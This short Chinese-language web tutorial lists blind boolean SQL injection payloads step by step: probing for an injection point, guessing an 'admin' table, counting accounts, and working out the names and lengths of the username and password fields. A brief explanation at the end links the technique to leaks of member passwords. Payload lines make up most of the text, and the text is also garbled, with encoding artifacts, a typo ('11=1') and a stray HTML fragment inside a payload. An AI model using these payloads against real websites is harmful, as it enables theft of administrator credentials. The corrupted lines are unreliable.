SQL注入語句五例
SQL注入語句是學(xué)習(xí)SQL語句過程中需要掌握的知識,下面就為您介紹5個標(biāo)準(zhǔn)的SQL注入語句,希望對您了解SQL注入語句有所幫助。
1.判斷有無注入點(diǎn)
- ; and 11=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
- and 0<>(select count(*) from *)
- and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數(shù)目就是1個
- and 0<(select count(*) from admin)
- and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.
- and 1=(select count(*) from admin where len(*)>0)--
- and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
- and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
- and 1=(select count(*) from admin where len(*)>0)
- and 1=(select count(*) from admin where len(name)>6) 錯誤
- and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
- and 1=(select count(*) from admin where len(name)=6) 正確
- and 1=(select count(*) from admin where len(password)>11) 正確
- and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
- and 1=(select count(*) from admin where len(password)=12) 正確
延伸閱讀
所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令,比如先前的很多影視網(wǎng)站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.
【編輯推薦】